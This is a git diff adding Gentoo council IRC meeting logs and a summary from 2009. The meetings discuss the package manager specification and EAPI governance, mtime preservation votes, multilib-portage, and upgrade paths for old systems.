+18:49 <@ulm> I'd like to hear the council members' opinion on it
+18:49 <@dertobi123> so we can vote upon that, ok?
+18:49 <@solar> I would go with 3.2.3
+18:49 <+tsunam_> I'd at least like some kind of idea if the council believes that there would be value in having changes to the surrounding items implemented on a fairly quick basis, but I'll bring that up in whatever discussion place it takes point in
+18:49  * lu_zero would as well
+18:50 <@ulm> solar: please be more specific
+18:50 <@dertobi123> lu_zero: as well, please
+18:50 <@solar> as the existing system does not really work for the masses and seems targeted towards benefiting a very few while limiting the rest of gentoo and it's ideas
+18:51 <@dertobi123> i'd choose 3.2.1 if we do opt to keep pms/eapi and it's surroundings and not choose some *completely* different
+18:52 <@ulm> solar: but we also need some process for updating the spec
+18:52 <@lu_zero> I'm not exactly happy with both .1 and .2 proposals
+18:53 <@lu_zero> and seems that the pms related stuff usually lead to feuds
+18:53 <@dertobi123> solar: what would be your different and improved system?
+18:53 <@Betelgeuse> The spec is not a problem. Portage coding is.
+18:53 <@solar> the current system more or less has to be approved by outside forces that many ppl plain and simply don't get along with. When you have that direct conflict all the time it hurts more than helps us as a distro.
+18:53 <@solar> dertobi123: I don't know the end solution. But 3.2.1 and 2.3.2 are not without problems
+18:53 <+tsunam_> gent's can you link to the 3.2.1, 3.2.2,3.2.3 specs for those who are not aware of what the solutions you are talking about
+18:53 <@solar> s/2.3.3/3.2.2/
+18:54 <@dertobi123> i'm pretty sure we could find something better, than 3.2.1 and 3.2.2 ... yeah
+18:54 <@solar> it's in the topic.
+18:54 <@ulm> tsunam_: http://archives.gentoo.org/gentoo-council/msg_96c702e85f79b8f5e22472ae2c961534.xml
+18:54 <@Betelgeuse> ciaramn is fine with Gentoo devs in charge
+18:55 <@lu_zero> even if the dev would be bonsaikitten ?
+18:55 <+trelane> Betelgeuse, he causes a huge problem for the larger community
+18:56 <@Betelgeuse> not every dev
+18:56 <+trelane> no, but quite a few of them.  for PMS to work it must be easy for outside projects such as Gentoo, Sabayon, and yes even Paludis to interface with
+18:57 <@Betelgeuse> he asked me and dev_zero at least
+18:57 <+trelane> right now only 1/3 of those groups can interface
+18:57 <+trelane> s/Gentoo/Funtoo in the above please
+18:57 <+trelane> though adding Patrick I'd say Gentoo might be apt as well
+18:57 <@dertobi123> so, to sum up: we tend to prefer 3.2.3 ... let's collect ideas for 3.2.3 until our next meeting and/or on list
+18:58 <@dertobi123> objections?
+18:58 <@ulm> dertobi123: right, let's postpone it. also calchan is not here, he also had some ideas about this topic
+18:58 <@lu_zero> ok
+18:58 <+tsunam_> what will occur in the meantime?
+18:58 <+trelane> dertobi123, I'd like to specify a lpcation for this (preferably a bug) where commentary and a proposal can be worked on
+18:58 <@Betelgeuse> i can't see agenda easily
+18:59 <@dertobi123> trelane: file one, but discussion should happen on a list (again -dev or -pms would make sense)
+18:59 <@ulm> trelane: bugzilla is horrible for long discussions
+18:59 <@ulm> dertobi123: let's go for -pms, and we can announce it on -dev-announce once
+18:59 <@Betelgeuse> mail list please
+19:00 <@dertobi123> ulm: ok
+19:00 <+trelane> I'm fine with -pms so long as this doesn't drag out on -dev?
+19:00 <+trelane> I will agree with Ciaran regarding the trolls.
+19:00 <@dertobi123> let's get it discussed on -pms
+19:00 <+trelane> it hurts both sides of the argument.
+19:00 <+trelane> thanks :)
+19:00 <+tsunam_> I'll have to read the archives on that then as I don't subscribe to -pms
+19:00 <@dertobi123> so, i'd propose to postpone 4, doesn't make sense to handle it today as Calchan is missing
+19:01 <@Betelgeuse> fine
+19:01 <@dertobi123> 5.1 next meeting, next logical date is october 12th
+19:01 <+tsunam_> Betelgeuse: you stated "not all devs" are you suggesting that if the Council wanted to put a member onto a advisory board and it wasn't approved by the current management that we'd have a larger issue to deal with at that time?
+19:01 <@dertobi123> ok for everyone?
+19:01 <@Betelgeuse> if someone is missing we should call them
+19:02 <@lu_zero> dertobi123 ok
+19:02 <@ulm> ok
+19:03 <@Betelgeuse> fine
+19:03 <@dertobi123> okies, so 5.2 - who's taking care of our agenda for october 12th?
+19:03 <@solar> Being that there was missing members from the council at this meeting. How would be feel about getting back together before then?
+19:04 <@Betelgeuse> I will write a post on PMS when by a computer
+19:04 <@Betelgeuse> i can do earlier
+19:04 <@dertobi123> solar: depends. if people request items for the agenda and don't show up it's quite useless to schedule a meeting before then. if there's useful discussion regarding that eapi/pms stuff we can of course schedule a meeting inbetween our regular schedule.
+19:05 <@lu_zero> solar which time?
+19:05 -!- arkanoid [n=arkanoid@exherbo/developer/arkanoid] has left #gentoo-council []
+19:05 <+tsunam_> Betelgeuse: I would suggest that if Ciaranm is fine with Gentoo dev's being lead on PMS that it should extend to all dev's having a catch on "no no not this dev" is not commiting to the idea that he's suggesting he's okie with
+19:06 <@Betelgeuse> do I get a slacker mark?
+19:06 <@solar> tsunam_: imo what Ciaranm is is not not fine with is 100% moot to what we do at gentoo
+19:06 <@leio> were you missing from previous meeting?
+19:06 <@Betelgeuse> I was away last time
+19:06 <@dertobi123> Betelgeuse: being 17 minutes late i'd say yes
+19:07 <+tsunam_> solar: I agree and that's kind of the point I'm making..that IMO there's an attempted ACE card being held back
+19:07 <@solar> if we can't think and act on our own. Then we all failed
+19:07 <+tsunam_> to more or less veto a nomination
+19:07 <@Betelgeuse> what was the limit
+19:08 <@Betelgeuse> hard to access 39 atm
+19:08 <@solar> you were here. There was no real voting that went on.
+19:08 <+trelane> solar, while I agree, he's certainly still hijacking the agenda
+19:08 <@dertobi123> okies, so again 5.2 - who's taking care of our agenda for october 12th?
+19:08 <@Betelgeuse> i can do
+19:09 <@Betelgeuse> unless slackered out
+19:09 <+tsunam_> solar: no, but just saying depending on what the council comes up with for 3.2.3 it has potential
+19:09 <@ulm> Betelgeuse: the meeting effectively started at 20:10 so I'd say you were not really late
+19:09 <@dertobi123> ok, so next meeting on october 12th, Betelgeuse takes care of agenda
+19:09 <@dertobi123> if it does make sense to have a meeting between the regular ones we decide so on list
+19:09 -!- mode/#gentoo-council [-m] by solar
+19:09 -!- mode/#gentoo-council [-vvvv trelane tsunam_ Fauli tanderson] by solar
+19:09 <@dertobi123> next one is open floor
+19:10 <@solar> tsunam_: sadly I think the council with probably be locked on this topic.
+19:10 < tsunam_> solar: *nods*
+19:10 <@solar> only way I see to solve the initial problem is to declare it obsolete
+19:10 < jmbsvicetto> So the whole discussion about PMS will move to the -pms ml?
+19:11 <@dertobi123> solar: might be an option.
+19:11 <@solar> but it's good to have things documented. Everybody loves a manpage
+19:11 -!- Zorry [n=zorry@fu/coder/zorry] has joined #gentoo-council
+19:12 <@solar> but should it be what we live by?? Harder to solve that
+19:12 < trelane> jmbsvicetto, seems so
+19:12 <@dertobi123> it has its advantages, but when it's main advantage is to slow down development and cause endless discussions ...
+19:12 < bonsaikitten> well, if it actively disallows innovation it's bad
+19:13 <@dertobi123> not actively, in-actively it might
+19:13 < bonsaikitten> uhm, package.mask as directory has been possible for >18 months
+19:13 < jmbsvicetto> dertobi123: I don't think the discussion is what's "slowing down" development. Instead, the way the discussion is taking place and the people that currently have authority over it would be to blame
+19:13 < bonsaikitten> not allowing it is kinda very silly
+19:13 <@solar> I have to pee very badly. Thank you all for coming and sharing your input
+19:14 <@solar> well not to the bathroom. But other input
+19:14 <@dertobi123> heh
+19:14 <@dertobi123> solar: have a nice pee :P
+19:14 <@Betelgeuse> i would like to drive where i have computer working
+19:14 < trelane> jmbsvicetto, I'd prefer to stop short of blaming Fauli as I would assert that effective control over the problem is effectively impossible
+19:14 <@dertobi123> jmbsvicetto: agreed.
+19:15 <@Betelgeuse> is the official part still on?
+19:15 <@dertobi123> no, we're done
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20091012-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20091012-summary.txt
new file mode 100644
index 00000000..f0e07cad
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20091012-summary.txt
@@ -0,0 +1,66 @@
+Summary of Gentoo council meeting 12 October 2009
+=================================================
+
+Roll call
+---------
+betelgeuse
+weaver (proxy for calchan)
+dertobi123
+leio
+lu_zero
+solar
+ulm
+
+Why follow up for items from last meeting never happened
+--------------------------------------------------------
+
+Vote:
+People volunteer to follow up but if there's none the chair takes
+care of it and also reminds the volunteer
+
+Results:
+betelgeuse: ues
+ulm: yes
+leio: yes
+weaver: yes
+lu_zero: yes
+solar: neutral
+dertobil123: no
+
+EAPI 3 update
+-------------
+
+zmedico didn't attend to give update
+
+Preservation of file modification times
+---------------------------------------
+
+Reopening EAPI 3 for mtimes:
+
+betelgeuse, no
+leio: yes
+ulm: yes
+weaver: yes
+dertobil123: yes
+lu_zero: no
+solar: neutral
+
+Selecting from implementation alternatives
+http://bugs.gentoo.org/264130#c26
+
+leio: A
+weaver: A
+lu_zero: A
+ulm: B
+dertobil123: A
+betelgeuse: A|B
+solar: no vote
+
+Open floor
+----------
+
+Topic items:
+* multilib-portage
+* upgrade paths for old systems
+ - leio and solar will do follow up
+* ulm will chair next meeting
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20091012.txt b/xml/htdocs/proj/en/council/meeting-logs/20091012.txt
new file mode 100644
index 00000000..508048ac
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20091012.txt
@@ -0,0 +1,331 @@
+18:00 <@Betelgeuse> rollcall
+18:00 <@dertobi123> <- here
+18:00 <@leio> here
+18:00 <+tanderson> <--- here
+18:00 <@lu_zero> here
+18:00 <@Betelgeuse> weaver, solar
+18:00 <@Betelgeuse> ulm:
+18:00 < weaver> here
+18:00 <@ulm> here
+18:01 <@Betelgeuse> !seen solar
+18:01 < Willikins> Betelgeuse: solar was last seen 44 seconds ago, saying "araujo: not really. But the EAPI mess they created in system is to be frowned upon."
+18:01 -!- ssuominen [n=ssuomine@gentoo/developer/ssuominen] has joined #gentoo-council
+18:01 <@Betelgeuse> He should be around soon then.
+18:02 < likewhoa> Betelgeuse: he's currently active in #gentoo-ten, letting him know now.
+18:02 <+tanderson> he's active in #-dev too
+18:03 -!- jlec [n=jlec@ip-62-143-31-170.unitymediagroup.de] has joined #gentoo-council
+18:03 <@solar> damn I hate UTC. I figured it was not for another hr
+18:04 <@lu_zero> ^^;
+18:04 <@leio> date -u :)
+18:04 < weaver> everyone needs to just switch to utc
+18:04 <@Betelgeuse> Ok let's start with item 1.
+18:05 <@Betelgeuse> I propose it's the duty of the meeting chair to post any follow up and the secretary should remind him if it's not done when summaring is being approved.
+18:05 <@Betelgeuse> Then we don't have to wonder whose job things are.
+18:06 <@leio> That sounds reasonable when we are rotating chairs
+18:06 <@Betelgeuse> yes
+18:07 <@Betelgeuse> When someone accepts chair for a meeting they should be prepared to follow up too in the future.
+18:07 <@lu_zero> ok
+18:07 <@ulm> fine
+18:08 < weaver> sounds good
+18:08 <@dertobi123> i disagree - imho those who want things to be discussed should be the ones getting the discussion going on
+18:08  * solar seconds dertobi123 
+18:08 <@leio> that sounds reasonable too...
+18:08 <@dertobi123> i.e. of Calchan wants to discuss some glep39 stuff, i expect him to show up on the meeting and also to get discussion going
+18:08 <@dertobi123> s/of/if
+18:09 <@leio> then again, we should be proactive as a team and follow up on these things collectively and get them concluded
+18:10 < weaver> dertobi123: i think the point was if the council makes an actionable item, someone needs to be responsible for acting on it
+18:11 <@Betelgeuse> dertobi123: I have no problem with someone else taking responsilibity but the chair should do it if they don't.
+18:11 <@Betelgeuse> Otherwise nothing happens.
+18:11 <@ulm> dertobi123: if you take the "PMS/EAPI committee" example of last meeting, who should have acted on it, in your opinion?
+18:11 <@dertobi123> weaver: and the ones being responsible are those who want to see things happen - not necessarily the council itself which decided further discussion on that matter is necessary
+18:11 <@dertobi123> ulm: hrm, you?
+18:12 < weaver> the flexible solution i think is for every item on the agenda that the council decides to act on, to designate the person responsible
+18:12 < weaver> don't you guys do that already? :P
+18:12 <@lu_zero> better if there is one or more volunteers
+18:12 <+tanderson> I think if an actionable item is delayed, put one person in charge of that item
+18:12 <+tanderson> It's been done in the past and should work fine
+18:12 <@ulm> dertobi123: I disagree, because I had made two propositions
+18:13 <@ulm> dertobi123: the ones who voted for "something different" should have followed up with something concrete here
+18:13 <@solar> fine. dump it all and go back to eapi=0
+18:13 <@dertobi123> ulm: but then you want a decision, so it's your interest to get the discussion started
+18:13 <@dertobi123> solar: agreed.
+18:14 <@Betelgeuse> solar: let's stay on the topic at hand
+18:14 <@solar> that is my follow up.
+18:14 <@lu_zero> ulm so far the "kill pms for good" seemed to be the best solution =)
+18:15 <+tanderson> assigning someone for each item(and noting it in the summary) seems fine...
+18:15 <@Betelgeuse> So let's say: People volunteer to follow up but if there's none the chair takes care of it and also reminds the volunteer.
+18:15 -!- antarus|home [n=antarus@gentoo/developer/antarus] has joined #gentoo-council
+18:15 <@lu_zero> seems good
+18:16 <@ulm> also ok
+18:18 <@dertobi123> if there are no volunteers that specific topic is dead
+18:18 <@dertobi123> no one interested in getting things discussed, no important topic
+18:19 <@Betelgeuse> dertobi123: And what about purely administrative topics like slacker handling?
+18:20 <@dertobi123> Betelgeuse: what needs to be followed or discussed on such topics?
+18:21 <@Betelgeuse> dertobi123: Last time people did not vote on my slacker handling during the meeting so follow up was needed, not the best example
+18:21 <@Betelgeuse> Any way please vote so we can move to the next topic.
+18:21 <@leio> Vote on what?
+18:22 <@Betelgeuse> leio: 18:15 <@Betelgeuse> So let's say: People volunteer to follow up but if there's none the chair takes care of it and also reminds the volunteer.
+18:22 <@dertobi123> Betelgeuse: at the end of our last meeting it was clear you won't get a slacker mark, nothing to follow up (besides a summary being wrong in that aspect)
+18:22 <@solar> I have no input either way. Do whatever you guys feel is right
+18:22 <@leio> and additionally note in the summary as agreed
+18:23 <@lu_zero> seems balanced
+18:23 <@leio> (I suggest action points like, ACTION: description (volunteer), and noting down on top who was the chair)
+18:24 <@Betelgeuse> weaver: around?
+18:24 < weaver> yes
+18:24 <@Betelgeuse> weaver: your opinion?
+18:25 <@ulm> leio: that's a detail, do you think we must vote on it?
+18:25 <@leio> no
+18:25 < weaver> I vote on:  <Betelgeuse> So let's say: People volunteer to follow up but if there's none the chair takes care of it and also reminds the volunteer.
+18:25 <@leio> I'll just bend tanderson arm to do it like that :)
+18:25 <+tanderson> bahaha, usually works too =)
+18:26 <@ulm> I vote yes, too
+18:26 <@leio> I votes yes, to be clear
+18:26 <@dertobi123> no, obviously
+18:26 < weaver> ok, let's move on then
+18:26 <@Betelgeuse> So yes: Betelgeuse, ulm, leio, weaver neutral: solar no: dertobi123
+18:27 <@Betelgeuse> Topic 2
+18:27 <@Betelgeuse> zmedico: Are you here?
+18:27 <@dertobi123> uhrm, what abou lu_zero?
+18:27 <@Betelgeuse> damn counted like it was seven but failed
+18:28 <@solar> moot. Majority rule?
+18:28 <@leio> we have four yes already though, but I didn't see a clear vote from weaver
+18:28 < weaver> yes
+18:28 < weaver> ^ vote
+18:28 <@Betelgeuse> Please be more active than every 5 minutes
+18:28 <@lu_zero> I already voted long ago...
+18:28 <@lu_zero> anyway yes
+18:29 < weaver> ok, zmedico is not here to give us an EAPI 3 report?
+18:29 <@Betelgeuse> My guess is that no progress has been done.
+18:30 <@Betelgeuse> But it's just a guess.
+18:30 <@leio> When I inquired on #gentoo-dev a few days ago, he said that he wants to get a 2.1.7 release out before working on EAPI 3
+18:30 <@Betelgeuse> I don't remember reading any bug spam related to EAPI 3
+18:30 < antarus|home> the 2.1.7 release was this past weekend
+18:30 <@dertobi123> well, 2.1.7 is out ;)
+18:30 <@leio> I didn't ask if EAPI 3 work will follow immediate after that or not ;p
+18:30 <@ulm> If bug 273620 is accurate, then there are still several things missing
+18:30 < Willikins> ulm: https://bugs.gentoo.org/273620 "[TRACKER] sys-apps/portage EAPI 3 implementation"; Portage Development, Core; NEW; s.mingramm@gmx.de:dev-portage@g.o
+18:31 <@Betelgeuse> ulm: and they are the actually time taking parts
+18:31 -!- reavertm_ [n=reavertm@83.27.157.92] has joined #gentoo-council
+18:31 <@ulm> Betelgeuse: yes, looks like :(
+18:32 -!- Tommy[D] [i=bnc@gentoo/developer/tommy] has joined #gentoo-council
+18:32 <@Betelgeuse> Maybe we could offer a bounty for EAPI 3.
+18:33 <@Betelgeuse> But that's to discuss with trustees.
+18:33 <@lu_zero> I'd let another month pass and then think about it seriously
+18:33 <@leio> We could get an update very soon from Zac outside meeting time and post it in an e-mail for everyone to read
+18:34 <@dertobi123> we *should*
+18:34 <@Betelgeuse> So who volunteers to ask him?
+18:35 < antarus|home> why not just send him an email?
+18:35 <@Betelgeuse> antarus|home: email can be used to ask?
+18:35 <@ulm> well, if noone else volunteers... I can ask him
+18:36 <@Betelgeuse> ok
+18:36 <@Betelgeuse> I don't see anything further we can do for point 2 so let's move to case 3.
+18:37 <@Betelgeuse> Let's discuss 5 minutes and vote.
+18:37 <@Betelgeuse> I think if we open the list then we will have others requesting the same.
+18:37 <@solar> I'll vote right now that it should be left up to the respective PM's on how they want to deal with it.
+18:37 <@Betelgeuse> When energy could be better spend getting EAPI 3 out and work on EAPI 4 to be faster.
+18:37 <@leio> We can demand an implementation to exist
+18:37 <@solar> as mtimes can not be counted on in the first place (think compressed file systems)
+18:38 <@ulm> solar: that's exactly what we shouldn't do because it will result in breakage
+18:38 <@lu_zero> I second that
+18:38 <@lu_zero> ulm exactly how?
+18:38 <@ulm> there's good reason why portage preserves them
+18:39 <@ulm> lu_zero: see http://bugs.gentoo.org/263387 as one example, but there are several others
+18:39 <@solar> sure there is. But it can't be counted on. But can't be enforced properly ever
+18:40 <@leio> I don't see why a PM should mangle what the build systems make install does
+18:40 < weaver> I don't have an opinion as I'm not informed of upsides and downsides of mtime modification
+18:41 <@ulm> leio: right, it should try to preserve as much as possible when merging D to ROOT
+18:42 <@solar> there are valid reasons. But why are we going outside of the ebuild syntax and into behaviors that are best left up to the programmers coding the respective PM's ?
+18:42 <@solar> seems an overstep of the council
+18:42 <@ulm> solar: because the ebuild cannot do anything if the PM decides to mangle mtimes
+18:42 <@leio> We seem to be involved because paludis PM disagrees with portage and pkgcore PM
+18:43 < weaver> the PM spec is not just for syntax of the ebuilds
+18:43 <@Betelgeuse> Vote: Reopen EAPI 3 for mtimes?
+18:43 <@Betelgeuse> I vote no.
+18:43 <@solar> then perhaps they can duke it out?
+18:43 <@ulm> solar: see <http://bugs.gentoo.org/83877#c36> for horrible "solutions" on the ebuild level ;)
+18:43 <@leio> and because it is asserted it's an EAPI feature
+18:44 -!- reavertm [n=reavertm@gentoo/contributor/reavertm] has quit [Read error: 110 (Connection timed out)]
+18:44 <@leio> I vote yes
+18:44 <@ulm> I vote yes, obviously
+18:44 < weaver> hmm
+18:44 < weaver> I understand that calchan would vote yes
+18:44 <@ulm> weaver: calchan requested the feature for portage, btw ;)
+18:44 < weaver> so, I vote yes
+18:44 <@dertobi123> i vote yes, too
+18:45 <@lu_zero> yes also for me
+18:46 <@ulm> solar?
+18:46 <@Betelgeuse> yes: leio ulm  weaver dertobi123  lu_zero no: Betelgeuse ?: solar
+18:47 <@Betelgeuse> Then we need the wording.
+18:47 <@solar> ulm: I'm not sure right now. Majority rule.
+18:48 <@Betelgeuse> ulm: So do you have a short pros and cons to give about the options?
+18:49 <@ulm> Betelgeuse: Obviously A is the simplest and gives all control to the ebuild
+18:50 <@ulm> B will optionally allow the PM to update "old" time stamps
+18:50 < weaver> i'm sorry, where are the A/B/... described?
+18:50 <@ulm> and C will make that updating mandatory, but please note that C is not "zero cost" for Portage
+18:51 <@ulm> weaver: http://bugs.gentoo.org/264130#c26
+18:51 < weaver> ok thanks
+18:51 < weaver> what's the definition of an "old" mtime?
+18:52 <@leio> what do you mean under optionally in option B? PM can freely choose to do that or not, or the ebuild instructs it with some variable?
+18:52 <@ulm> weaver: time before the build process of the package started
+18:52 <@ulm> leio: PM can freely choose
+18:53 -!- lxnay|two [n=lxnay@host-78-14-152-87.cust-adsl.tiscali.it] has joined #gentoo-council
+18:53 <@ulm> leio: i.e. most likely Portage and Pkgcore would just preserve mtimes
+18:53 <@ulm> Paludis would update "old" ones
+18:53 < weaver> would that break stuff?
+18:53 -!- few [n=few@port-ip-213-211-233-28.reverse.mdcc-fun.de] has joined #gentoo-council
+18:54 <@ulm> weaver: hopefully not, but i've checked for lisp, python, and ghdl only
+18:54 <@Betelgeuse> zmedico prefers A
+18:54 <@ulm> right
+18:54 < weaver> then let's go with A
+18:55 < antarus|home> ulm: the intention is to prevent rebuilds with build systems based on mtime?
+18:55 <@ulm> antarus|home: the intent is more directed at runtime
+18:55 <@Betelgeuse> Please vote on a A|B|C and let's see if we get a majority (if not ready please note):
+18:55 <@ulm> antarus|home: e.g., .py vs .pyc or .lisp vs .fasl
+18:55 <@leio> A
+18:55 -!- Zorry [n=zorry@fu/coder/zorry] has joined #gentoo-council
+18:56 <@lu_zero> A
+18:56 < weaver> A
+18:56 <@dertobi123> A
+18:56 <@ulm> B
+18:57 -!- NeddySeagoon [n=NeddySea@gentoo/developer/NeddySeagoon] has joined #gentoo-council
+18:57 <@ulm> (but I can live with A too)
+18:57 <@Betelgeuse> I am neutral between A and B.
+18:57 <@dertobi123> (i can live with b, too - but prefer A)
+18:58 <@leio> I understand B is the same as A in case of portage and pkgcore
+18:58 <@ulm> leio: right
+18:58 <@Betelgeuse> leio: yes
+18:59 <@Betelgeuse> A: leio, lu_zero, weaver, dertobi123 B: ulm A|B: Betelgeuse ?: solar
+18:59 < weaver> is there a specific option that ciaran/paludis is objecting against?
+18:59 <@ulm> weaver: he (they?) prefer C
+19:00 <@ulm> and paludis complies to none of the options presently
+19:00 < weaver> ok
+19:00 <@ulm> s/to/with/
+19:00 < weaver> I understand we have a majority on A, so let's move on then?
+19:01 <@Betelgeuse> The hour allotted is up. Anyone need to go or can we have some time for open floor?
+19:01  * leio has time
+19:02  * weaver has time
+19:02  * lu_zero has time
+19:02  * ulm has time
+19:02 <@Betelgeuse> Tommy[D] wanted us to talk about the multilib stuff.
+19:02 <@Betelgeuse> I havent' had much time to look into it.
+19:02 <@Betelgeuse> In the thread zmedico was saying it needs EAPI changes.
+19:02  * dertobi123 has some minutes
+19:02 <@Betelgeuse> So most likely EAPI 4 and as such would take time.
+19:02 <@leio> me neither, I hope to dig into that, have had various thoughts about that on my own, would be nice to see what they have done there
+19:03 -!- dabbott|work [n=david@gentoo/developer/comprookie2000] has quit ["Heading home"]
+19:03 <@lu_zero> I used myself the multilib overlay and is quite interesting (and useful)
+19:03 < Tommy[D]> Betelgeuse: did you also read my reply to him?
+19:04 <@Betelgeuse> Tommy[D]: it wasn't immediately evident from that
+19:05 < Tommy[D]> Betelgeuse: so optional, additional features would require EAPI, but not the basic functions
+19:05 <@ulm> Tommy[D]: would that require to change ebuilds lateron?
+19:05 <@ulm> i.e. when the "optional, additional features" have been implemented
+19:06 -!- antarus|home [n=antarus@gentoo/developer/antarus] has left #gentoo-council []
+19:06 < Tommy[D]> ulm: i use multilib-portage with main tree, if the ebuilds and build system respects the env, no changes are needed
+19:07 < weaver> i have no opinion on this
+19:07 < Tommy[D]> the only place, where you either need to depend a specific portage version (with multilib support) or an EAPI, which requires PM with multilib support, is the *DEPEND on libs/packages with additional 32bit libs
+19:07 < weaver> and i'm not aware if Calchan does
+19:08 <@Betelgeuse> For me I would like zmedico to first fogus on EAPI 3 before this stuff
+19:08 <@Betelgeuse> Of course he does what he wants with his time.
+19:08 < weaver> yes I believe eapi 3 needs to be pushed out ASAP
+19:09 < weaver> it's been delayed and it has a bunch of useful features
+19:09 < Tommy[D]> i did implent the current version of multilib-portage, based on previous work done by other people and i would continue working on it, so the main work would be a code review by zmedico
+19:09 <@Betelgeuse> Tommy[D]: Sure but it's a major feature to Portage
+19:10 <@Betelgeuse> Tommy[D]: Testing etc would slow down EAPI 3 to stable
+19:10 <@Betelgeuse> Tommy[D]: If it stays in trunk, then fine.
+19:10 < Tommy[D]> the main issue is that zmedico once got a council warning because of some changed or additional feature, thats why i request the discussion and later decision here
+19:11 < Tommy[D]> Betelgeuse: i would not mind, if it stays in 2.2_rc* for now, while EAPI-3 could go into 2.1.*
+19:11 <@Betelgeuse> Tommy[D]: Yes he did change EAPI 0 behavior without our blessing.
+19:11 <@Betelgeuse> Tommy[D]: Before I can vote on this it needs to be clear to me whether this does that.
+19:12 <@Betelgeuse> Tommy[D]: I think PMS currently says phases can run only once.
+19:12 <@Betelgeuse> I don't know what that is based upon.
+19:12 < Tommy[D]> it violates current PMS in at least 1 point: execute every phase at max once
+19:12 < weaver> this sounds like something we should intentionally delay until after EAPI 3 is out
+19:12 <@lu_zero> I think that could be relaxed
+19:13 <@lu_zero> still it could be done in parallel and make push it as the main part of eapi 4
+19:13 < Tommy[D]> my implementation would require something like "preserve none-default env vars in filesystem between phase switches"
+19:13 <@Betelgeuse> We can do an EAPI 4 that is fast for zmedico to implement.
+19:13 <@Betelgeuse> for needs in this
+19:14 <@Betelgeuse> and other fast stuff
+19:14 < weaver> as long as the people involved are sure it won't delay EAPI 3
+19:14  * leio has no opinion about this until some research
+19:15 <@solar> Till our devs learn how to use the existing EAPI's properly I have no desire to introduce another eapi
+19:15 <@Betelgeuse> solar: devs beside direct Portage deps should always use the latest
+19:15 < weaver> solar: how are they used improperly?
+19:15 < Tommy[D]> multilib-portage itself can be added without any additional EAPI
+19:15 <@solar> weaver: system. There is no clean upgrade path.
+19:15 < NeddySeagoon> Betelgeuse solar is that a reason to depreciate and remove old EAPIs ?
+19:16 <@Betelgeuse> NeddySeagoon: the stay in vdb
+19:16 <@leio> portage oralready requires EAPI-2 :9
+19:16 <@Betelgeuse> NeddySeagoon: We can make repoman require latest EAPI for new ebuilds
+19:16 <@Betelgeuse> NeddySeagoon: But only after discussion
+19:16 <@solar> that is sick
+19:17 < weaver> sick as in good or bad
+19:17 <@solar> bad and in evil and a dumb idea
+19:17 <@Betelgeuse> solar: there's fatal and warning repoman levels, this would fall in the latter
+19:17 < weaver> i don't see why not, as long as revisions are allowed in older eapis
+19:17 < Tommy[D]> Can multilib-portage inclusion be added to agenda of next meeting? And i would like to see comments, requests and discussion about it until then
+19:17 < NeddySeagoon> Betelgeuse, that would be good.  PMs have to be capable of removing old stuff ... but we should encourage the use of the current/latest EAPI
+19:17 <@solar> Betelgeuse: there is no clean upgrade path in that
+19:18 <@Betelgeuse> solar: You only need an upgrade path for direct Portage deps
+19:18 <@solar> I'm in favor of reverting lots of system packages back to EAPI=0
+19:18 <@Betelgeuse> solar: So you can get to new Portage
+19:18 < weaver> solar could you elaborate on what the problem is, I'm not familiar with it
+19:18 <@solar> weaver: take a box from 2008 and try to upgrade it. You can't
+19:18 < weaver> what happens?
+19:18 <@Betelgeuse> python
+19:18 < weaver> oh
+19:19 < Tommy[D]> weaver: old portage, which doesnt know EAPI-2 cannot upgrade because newer portage requires newer python, but all pyhton packages have EAPI-2
+19:19 <@Betelgeuse> python people decided for all to break upgrade path without warning.
+19:19 <@solar> gotta give it to bonsaikitten for one time. He had the right idea on how to allow a mix. You always keep one ebuild at EAPI=0
+19:19 < weaver> oh. can't we roll a transitional verison of portage that would deal with this issue specifically?
+19:19 <@Betelgeuse> I am not opposed to forcing them to add EAPI 0 upgrade path back.
+19:20 <@Betelgeuse> weaver: We don't need to.
+19:20 <@solar> this means you need a python-2.6 and eselect* at 0
+19:20 <@Betelgeuse> Just need python people to do their job.
+19:20 < weaver> i guess...
+19:20 <@Betelgeuse> They can't make decisions like that for everyone.
+19:21 <@Betelgeuse> solar: Could you take responsibility on working with them trying to get EAPI 0 back there?
+19:21 <@ulm> solar: hm? eselect is still at EAPI 0
+19:21 <@Betelgeuse> If it doesn't work out, we can put it on the agenda nexttime.
+19:21 <@ulm> solar: with good reason
+19:22 <@Betelgeuse> Who wants to chair next time?
+19:22 <@solar> Betelgeuse: I'm not sure I'm nice enough to work with them (I have much anger about this topic).
+19:22 <@leio> and take care of the agenda
+19:23 <@ulm> solar: sounds like you're the right person for it then :p
+19:23 <@solar> leio: I would second this for the next round then. 07:19PM <Betelgeuse> I am not opposed to forcing them to add EAPI 0 upgrade path back.
+19:24 <@solar> ulm: I do much better work when I'm happy. Gentoo 10 was a hit
+19:24 < weaver> should I volunteer Calchan to do this? :]
+19:24 <@Betelgeuse> weaver: probably not
+19:25  * ulm can take it
+19:25 <@leio> lets say I can look with solar into the upgrade path business
+19:26 <@Betelgeuse> ulm: chair or upgrade path?
+19:26 <@ulm> Betelgeuse: chair
+19:26 <@Betelgeuse> ok ulm chair and leio EAPI 0
+19:26 <@solar> leio: that would work. TeamWork++
+19:26 <@Betelgeuse> I call this meeting done. Thanks everyone.
+19:26 < weaver> thank you
+19:26 <@solar> thanks Betelgeuse
+19:26 <@ulm> question of understanding: followups are for the _previous_ chair, right?
+19:27 <@Betelgeuse> ulm: I would follow up from today.
+19:27 <@ulm> Betelgeuse: k
+19:27 <@Betelgeuse> I will make sure leio does.
+19:27 <@Betelgeuse> And you ask zmedico.
+19:28 <@lu_zero> please let's try to use more the council alias
+19:28 <@Betelgeuse> private is bad
+19:29 <@lu_zero> we have also the council ml
+19:29 <@Betelgeuse> better
+19:29 <@lu_zero> still both of them are quicker and easier to follow than -dev
+19:29 <@Betelgeuse> following -dev comes with the job
+19:30 -!- reavertm_ is now known as reavertm
+19:30 <@solar> the alias is proper for some things.
+19:30 <@solar> Not going to send a personal reminder to the entire list just to make sure ppl don't get the slacker mark.
+19:30 <@Betelgeuse> sure alias is fine for that
+19:30 <@Betelgeuse> but not discussing technical stuff etc
+19:31 <@solar> nod
+19:31 <@Betelgeuse> I am off to write a short essay that's due today.
+19:31 <@solar> well unless you don't want input from some ppl.
+19:31 <@solar> anyway cya.
+19:31  * dertobi123 nods
+19:32  * lu_zero runs away as well
+19:32 <@lu_zero> nite ^^
+19:33 < weaver> have fun people
